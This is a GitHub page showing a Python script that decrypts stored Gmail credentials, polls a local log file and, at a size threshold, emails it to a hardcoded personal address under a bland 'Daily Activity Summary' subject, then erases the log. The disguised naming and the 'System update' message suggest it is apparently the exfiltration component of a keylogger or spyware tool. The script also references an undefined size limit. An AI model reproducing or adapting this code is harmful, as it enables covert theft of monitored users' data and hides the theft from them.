-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsend_email.py
More file actions
78 lines (58 loc) · 2.27 KB
/
Copy pathsend_email.py
File metadata and controls
78 lines (58 loc) · 2.27 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import smtplib
import os
import time
import json
from email.message import EmailMessage
from cryptography.fernet import Fernet
# Load the encryption key
with open("secret.key", "rb") as key_file:
key = key_file.read()
cipher = Fernet(key)
# Load and decrypt credentials
with open("credentials.enc", "rb") as enc_file:
encrypted_data = enc_file.read()
credentials = json.loads(cipher.decrypt(encrypted_data).decode())
EMAIL_ADDRESS = credentials["email"]
EMAIL_PASSWORD = credentials["password"]
TO_EMAIL = "staceybanks10101@gmail.com"
LOG_FILE = "log.txt"
def send_email():
"""Send an email with the log file when file size exceeds limit."""
if not os.path.exists(LOG_FILE):
print("[ERROR] Log file not found!")
return
with open(LOG_FILE, "r") as file:
log_data = file.read()
if not log_data.strip():
print("[INFO] Log file is empty. Skipping email.")
return
msg = EmailMessage()
msg["Subject"] = "Daily Activity Summary"
msg["From"] = EMAIL_ADDRESS
msg["To"] = TO_EMAIL
msg.set_content("Here is the latest activity summary from the system.")
msg.add_attachment(log_data.encode("utf-8"), maintype="text", subtype="plain", filename="report_summary.txt")
try:
with smtplib.SMTP_SSL("smtp.gmail.com", 465) as server:
server.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
server.send_message(msg)
print("[INFO] Email sent successfully!")
# Clear log file after sending
with open(LOG_FILE, "w") as file:
file.write("")
print("[INFO] Log file cleared after sending.")
except Exception as e:
print(f"[ERROR] Failed to send email: {e}")
def monitor_log_size():
"""Continuously monitor log file size and send email when limit is reached."""
while True:
if os.path.exists(LOG_FILE):
file_size = os.path.getsize(LOG_FILE) # Get file size in bytes
print(f"[INFO] Log file size: {file_size} bytes")
if file_size >= FILE_SIZE_LIMIT:
print("[INFO] Log size limit reached. Sending email...")
send_email()
time.sleep(5) # Check every 5 seconds
if __name__ == "__main__":
monitor_log_size()
print("System update script is running...")